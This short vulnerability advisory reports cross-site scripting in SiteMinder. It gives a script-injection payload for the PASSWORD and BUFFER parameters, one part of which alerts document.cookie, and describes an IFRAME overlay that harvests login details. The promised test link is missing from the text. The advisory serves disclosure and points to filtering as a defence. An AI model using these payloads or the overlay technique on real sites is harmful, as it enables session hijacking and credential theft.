  Siteminder is vulnerable to XSS whereby a user can tag HTML or javascript on to various locations
  in a URL or input field and have the script run in the local users browser. This can be used to
  perform phishing attacks, hijack users browser sessions or user account information by redrawing
  the login page of a site.

  PASSWORD="><script>alert(document.cookie)</script>&BUFFER="><script>alert("Vulnerable")</script>

  The following link will abuse the URL option by first logging the user out of the site with a
  timeout error, due to the fact that we send her off to another HTTPS site, taking the user back to
  the login page. Next, we open an IFRAME over the original login fields with malicious Username and
  Password input fields, whereby a user will then supply their login details to a malicious site,
  to be later harvested and used in an attack.

  To test if you are vulnerable to this issue, you can tag the following on to the end of a
  siteminder URL. If it is successful, you should see the Google homepage within an IFRAME.

  I have contacted Netegrity via ca.com multiple times but received no response, as such, users
  should use a filtering technology like modsecurity to detect the above descibed attacks until
  a fix has been released.
